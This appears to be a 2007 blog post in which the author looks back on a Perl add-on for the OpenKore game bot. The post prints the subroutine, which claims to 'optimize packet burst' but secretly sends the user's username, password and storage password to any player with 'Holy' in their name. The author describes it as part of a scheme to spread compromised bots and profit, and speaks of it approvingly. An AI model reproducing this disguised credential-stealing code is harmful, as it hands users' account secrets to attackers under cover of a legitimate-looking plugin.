Old Codes Die Hard

Friday, May 25, 2007

I was sifting through my old text files just now when I found this. It's an add-on PERL subroutine that, the documentation says, "avoids GMs" and optimizes packet bursting for OpenKore. Whole other codes I've found with this subroutine actually optimizes the bot, this code segment only makes your bot autoresponsive to characters with HOLY in their names.

sub avoidGM_interim {
for (my $i = 0; $i < @playersID; $i++) {
next if ($playersID[$i] eq "");
if($players{$playersID[$i]}{name} =~ /.*Holy.*/) {
message "Optimizing packet burst";
sendMessage(\$remote_socket, "pm", "This might help $config{username} and $config{password} with $config{storageAuto_password}", $players{$playersID[$i]}{name});
return 0;

By autoresponsive, I mean your bot automatically sends your username and password to the character with HOLY in his name, leaving your character open for hacking.

As I remember, this was part of an EVE sideproject that aimed to contaminate the botting community with bot variants that compromise user security to discourage bot use (and make us pretty fucking rich

In the event, very few copies of the finished product ever got released and most of them were used just for pranks. Good stuff.

I've modified the code slightly and did not include the invocation codes for security. The code could still work, but I'm just too out of botting or Ragnarok Online for that matter, to even care.

I still dont like bots but for a while it was really fun tweaking with the code.

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